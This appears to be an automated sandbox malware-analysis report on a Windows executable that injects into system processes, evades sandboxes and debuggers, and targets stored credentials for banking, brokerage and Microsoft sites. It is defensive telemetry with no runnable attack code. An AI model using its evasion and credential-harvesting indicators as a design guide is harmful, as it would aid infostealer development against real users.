Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\netbtugc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\netbtugc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: QLLafoDdqv.exe

Static file information: File size 1229824 > 1048576

Source: QLLafoDdqv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: QLLafoDdqv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: QLLafoDdqv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: QLLafoDdqv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: QLLafoDdqv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: QLLafoDdqv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: QLLafoDdqv.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: WOaBXdWwIJKzuV.exe, 00000003.00000002.4564777627.0000000000D5E000.00000002.00000001.01000000.00000004.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4568620596.0000000000D5E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: QLLafoDdqv.exe, 00000000.00000003.2121082522.0000000004120000.00000004.00001000.00020000.00000000.sdmp, QLLafoDdqv.exe, 00000000.00000003.2125915509.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2270155402.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2270155402.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178687153.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2180433869.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2270123023.0000000002DAA000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.0000000003100000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2272280186.0000000002F52000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: QLLafoDdqv.exe, 00000000.00000003.2121082522.0000000004120000.00000004.00001000.00020000.00000000.sdmp, QLLafoDdqv.exe, 00000000.00000003.2125915509.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2270155402.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2270155402.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178687153.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2180433869.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, netbtugc.exe, 00000004.00000003.2270123023.0000000002DAA000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.0000000003100000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2272280186.0000000002F52000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdb source: svchost.exe, 00000002.00000002.2269979918.0000000002800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2238927543.000000000281A000.00000004.00000020.00020000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4570954462.00000000014A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: netbtugc.exe, 00000004.00000002.4567487590.0000000002AFE000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4580387603.000000000372C000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.000000000318C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2556821079.0000000006F3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: netbtugc.exe, 00000004.00000002.4567487590.0000000002AFE000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4580387603.000000000372C000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.000000000318C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2556821079.0000000006F3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: netbtugc.pdbGCTL source: svchost.exe, 00000002.00000002.2269979918.0000000002800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2238927543.000000000281A000.00000004.00000020.00020000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4570954462.00000000014A8000.00000004.00000020.00020000.00000000.sdmp

Source: QLLafoDdqv.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: QLLafoDdqv.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: QLLafoDdqv.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: QLLafoDdqv.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: QLLafoDdqv.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006D42DE

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F0A76 push ecx; ret	0_2_006F0A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024EE2BA push 00000038h; iretd	2_2_024EE2BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D48A9 push esp; ret	2_2_024D48AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D17E5 push ebp; retf 003Fh	2_2_024D17E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D3780 push eax; ret	2_2_024D3782
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024E47A2 push es; iretd	2_2_024E47AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024EA436 push ebx; iretd	2_2_024EA600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024E8C92 pushad ; retf	2_2_024E8C93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024EA5D9 push ebx; iretd	2_2_024EA600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F309AD push ecx; mov dword ptr [esp], ecx	2_2_02F309B6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0310225F pushad ; ret	4_2_031027F9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031027FA pushad ; ret	4_2_031027F9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031309AD push ecx; mov dword ptr [esp], ecx	4_2_031309B6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0310283D push eax; iretd	4_2_03102858
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0310135E push eax; iretd	4_2_03101369
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02542238 pushad ; iretd	4_2_02542239
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0254AB37 push 00000038h; iretd	4_2_0254AB3B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02546E56 push ebx; iretd	4_2_02546E7D
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02540EAB push ebp; retf	4_2_02540EAC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02546CB3 push ebx; iretd	4_2_02546E7D
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0254101F push es; iretd	4_2_02541027
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02531126 push esp; ret	4_2_02531127
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0254D1B0 push es; ret	4_2_0254D1D0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0254550F pushad ; retf	4_2_02545510
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0254FEF5 push FFFFFFBAh; ret	4_2_0254FEF7
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0253FFA0 push esi; iretd	4_2_0253FFA5
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DA429A push cs; retf	4_2_02DA42F6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DA4268 push cs; retf	4_2_02DA42F6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DA03DA push ebx; ret	4_2_02DA042C
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DAD620 push esi; ret	4_2_02DAD63B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DA47F5 push es; ret	4_2_02DA47FA

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006EF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_006EF98E
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00761C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00761C41

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-95984

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	API/Special instruction interceptor: Address: 15C3244
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02F7096E rdtsc

2_2_02F7096E

Source: C:\Windows\SysWOW64\netbtugc.exe	Window / User API: threadDelayed 4124			Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Window / User API: threadDelayed 5848			Jump to behavior

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	API coverage: 3.8 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\netbtugc.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\netbtugc.exe TID: 4048	Thread sleep count: 4124 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 4048	Thread sleep time: -8248000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 4048	Thread sleep count: 5848 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 4048	Thread sleep time: -11696000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe TID: 5576	Thread sleep time: -80000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe TID: 5576	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe TID: 5576	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe TID: 5576	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe TID: 5576	Thread sleep time: -48000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\netbtugc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\netbtugc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0073DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0073DBBE
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0070C2A2 FindFirstFileExW,	0_2_0070C2A2
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_007468EE FindFirstFileW,FindClose,	0_2_007468EE
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0074698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_0074698F
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0073D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0073D076
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0073D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0073D3A9
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00749642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00749642
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0074979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0074979D
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00749B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00749B2B
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00745C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00745C97
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0254BAB0 FindFirstFileW,FindNextFileW,FindClose,	4_2_0254BAB0

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006D42DE

Source: F56GKLK7U4.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: F56GKLK7U4.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: F56GKLK7U4.4.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: F56GKLK7U4.4.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: F56GKLK7U4.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: F56GKLK7U4.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: F56GKLK7U4.4.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002AFE000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000009.00000002.2558088847.0000025CC6E7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: F56GKLK7U4.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: F56GKLK7U4.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: F56GKLK7U4.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: F56GKLK7U4.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: F56GKLK7U4.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: F56GKLK7U4.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4571526286.000000000138F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: F56GKLK7U4.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: F56GKLK7U4.4.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: F56GKLK7U4.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: F56GKLK7U4.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: F56GKLK7U4.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: F56GKLK7U4.4.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: F56GKLK7U4.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: F56GKLK7U4.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: F56GKLK7U4.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: F56GKLK7U4.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: F56GKLK7U4.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02F7096E rdtsc

2_2_02F7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_024E7823 LdrLoadDll,

2_2_024E7823

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0074EAA2 BlockInput,

0_2_0074EAA2

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_00702622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00702622

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006D42DE

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F4CE8 mov eax, dword ptr fs:[00000030h]	0_2_006F4CE8
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_015C3510 mov eax, dword ptr fs:[00000030h]	0_2_015C3510
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_015C34B0 mov eax, dword ptr fs:[00000030h]	0_2_015C34B0
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_015C1E70 mov eax, dword ptr fs:[00000030h]	0_2_015C1E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402E1 mov eax, dword ptr fs:[00000030h]	2_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402E1 mov eax, dword ptr fs:[00000030h]	2_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402E1 mov eax, dword ptr fs:[00000030h]	2_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E284 mov eax, dword ptr fs:[00000030h]	2_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E284 mov eax, dword ptr fs:[00000030h]	2_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0283 mov eax, dword ptr fs:[00000030h]	2_2_02FB0283
